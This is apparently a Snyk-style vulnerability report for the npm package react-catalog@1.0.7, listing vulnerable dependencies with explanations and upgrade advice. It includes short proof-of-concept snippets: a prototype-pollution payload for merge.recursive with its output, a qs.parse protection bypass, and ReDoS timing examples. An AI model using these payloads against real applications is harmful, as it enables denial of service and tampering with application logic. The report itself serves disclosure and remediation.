react-catalog@1.0.7

Vulnerabilities

25 via 118 paths

Dependencies

1104

Source

npm

Find, fix and prevent vulnerabilities in your code.

Severity
  • 9
  • 14
  • 2
Status
  • 25
  • 0
  • 0

high severity

Prototype Pollution

  • Vulnerable module: ajv
  • Introduced through: extract-text-webpack-plugin@2.0.0-rc.3, webpack@2.7.0 and others

Detailed paths

  • Introduced through: react-catalog@1.0.7 extract-text-webpack-plugin@2.0.0-rc.3 ajv@4.11.8
    Remediation: Upgrade to react-catalog@1.1.4.
  • Introduced through: react-catalog@1.0.7 webpack@2.7.0 ajv@4.11.8
    Remediation: Upgrade to webpack@3.11.0.
  • Introduced through: react-catalog@1.0.7 standard@8.6.0 eslint@3.10.2 table@3.8.3 ajv@4.11.8
    Remediation: Upgrade to standard@11.0.0.

Overview

ajv is an Another JSON Schema Validator

Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade ajv to version 6.12.3 or higher.

References

high severity

Arbitrary Code Execution

  • Vulnerable module: js-yaml
  • Introduced through: css-loader@0.26.4

Detailed paths

  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 js-yaml@3.7.0
    Remediation: Upgrade to css-loader@1.0.0.

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Arbitrary Code Execution. When an object with an executable toString() property used as a map key, it will execute that function. This happens only for load(), which should not be used with untrusted data anyway. safeLoad() is not affected because it can't parse functions.

Remediation

Upgrade js-yaml to version 3.13.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: merge
  • Introduced through: watch@0.19.3, jest-cli@17.0.3 and others

Detailed paths

  • Introduced through: react-catalog@1.0.7 watch@0.19.3 exec-sh@0.2.2 merge@1.2.1
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@24.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-runtime@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@24.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@24.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-config@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@20.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-resolve-dependencies@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-runtime@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@20.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-runtime@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@24.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-runtime@17.0.3 jest-config@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@20.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-config@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@20.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-resolve-dependencies@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-runtime@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@20.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-runtime@17.0.3 jest-config@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@20.0.0.

Overview

merge is a library that allows you to merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.

Affected versions of this package are vulnerable to Prototype Pollution. The 'merge' function already checks for 'proto' keys in an object to prevent prototype pollution, but does not check for 'constructor' or 'prototype' keys.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade merge to version 2.1.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: merge
  • Introduced through: watch@0.19.3, jest-cli@17.0.3 and others

Detailed paths

  • Introduced through: react-catalog@1.0.7 watch@0.19.3 exec-sh@0.2.2 merge@1.2.1
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@24.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-runtime@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@24.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@24.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-config@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@20.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-resolve-dependencies@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-runtime@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@20.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-runtime@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@24.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-runtime@17.0.3 jest-config@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest-cli@20.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-config@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@20.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-resolve-dependencies@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-runtime@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@20.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-runtime@17.0.3 jest-config@17.0.3 jest-resolve@17.0.3 jest-haste-map@17.0.3 sane@1.4.1 exec-sh@0.2.2 merge@1.2.1
    Remediation: Upgrade to jest@20.0.0.

Overview

merge is a library that allows you to merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.

Affected versions of this package are vulnerable to Prototype Pollution via _recursiveMerge .

PoC:

const merge = require('merge');

const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');

let obj1 = {x: {y:1}};

console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);

Output:

Before : undefined
After : yes
After : yes

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge
  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server
  • Web server

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Require schema validation of JSON input.
  3. Avoid using unsafe recursive merge functions.
  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade merge to version 2.1.1 or higher.

References

high severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: normalize-url
  • Introduced through: css-loader@0.26.4

Detailed paths

  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-normalize-url@3.0.8 normalize-url@1.9.1
    Remediation: Upgrade to css-loader@1.0.0.

Overview

normalize-url is a Normalize a URL

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to exponential performance in data URLs.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade normalize-url to version 6.0.1, 5.3.1, 4.5.1 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: q-io
  • Introduced through: gh-pages@0.11.0

Detailed paths

  • Introduced through: react-catalog@1.0.7 gh-pages@0.11.0 q-io@1.13.2
    Remediation: Upgrade to react-catalog@1.1.5.

Overview

q-io contains interfaces for IO that make use of promises.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. It used a regular expression (/^\s*bytes\s*=\s*(\d*\s*-\s*\d*\s*(?:,\s*\d*\s*-\s*\d*\s*)*)$/) in order to parse custom I/O ranges. This can cause an impact of about 10 seconds matching time for data 100 characters long.

Disclosure Timeline

  • Feb 12th, 2018 - Initial Disclosure to package owner
  • Feb 12th, 2018 - Initial Response from package owner
  • Feb 12th, 2018 - Fix issued
  • Feb 15th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade q-io to version 1.13.5 or higher.

References

high severity

Prototype Override Protection Bypass

  • Vulnerable module: qs
  • Introduced through: gh-pages@0.11.0

Detailed paths

  • Introduced through: react-catalog@1.0.7 gh-pages@0.11.0 q-io@1.13.2 qs@1.2.2
    Remediation: Upgrade to react-catalog@1.1.5.

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString(), hasOwnProperty(),etc.

From qs documentation:

By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.

Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.

In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [ or ]. e.g. qs.parse("]=toString") will return {toString = true}, as a result, calling toString() on the object will throw an exception.

Example:

qs.parse('toString=foo', { allowPrototypes: false })
// {}

qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten

For more information, you can check out our blog.

Disclosure Timeline

  • February 13th, 2017 - Reported the issue to package owner.
  • February 13th, 2017 - Issue acknowledged by package owner.
  • February 16th, 2017 - Partial fix released in versions 6.0.3, 6.1.1, 6.2.2, 6.3.1.
  • March 6th, 2017 - Final fix released in versions 6.4.0,6.3.2, 6.2.3, 6.1.2 and 6.0.4

    Remediation

    Upgrade qs to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.

    References

  • GitHub Commit
  • GitHub Issue

high severity
new

Denial of Service (DoS)

  • Vulnerable module: trim-newlines
  • Introduced through: webpack-dev-server@2.11.5

Detailed paths

  • Introduced through: react-catalog@1.0.7 webpack-dev-server@2.11.5 internal-ip@1.2.0 meow@3.7.0 trim-newlines@1.0.0

Overview

trim-newlines is a Trim newlines from the start and/or end of a string

Affected versions of this package are vulnerable to Denial of Service (DoS) via the end() method.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade trim-newlines to version 3.0.1, 4.0.1 or higher.

References

high severity

Information Exposure

  • Vulnerable module: webpack-dev-server
  • Introduced through: webpack-dev-server@2.11.5

Detailed paths

  • Introduced through: react-catalog@1.0.7 webpack-dev-server@2.11.5
    Remediation: Upgrade to webpack-dev-server@3.1.11.

Overview

webpack-dev-server Uses webpack with a development server that provides live reloading. It should be used for development only.

Affected versions of this package are vulnerable to Information Exposure. The origin of requests is not checked by the WebSocket server, which is used for HMR. A malicious user could receive the HMR message sent by the WebSocket server via a ws://127.0.0.1:8080/ connection from any origin.

Remediation

Upgrade webpack-dev-server to version 3.1.11 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: color-string
  • Introduced through: css-loader@0.26.4

Detailed paths

  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-colormin@2.2.2 colormin@1.1.2 color@0.11.4 color-string@0.3.0

Overview

color-string is a Parser and generator for CSS color strings

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the hwb regular expression in the cs.get.hwb function in index.js. The affected regular expression exhibits quadratic worst-case time complexity.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
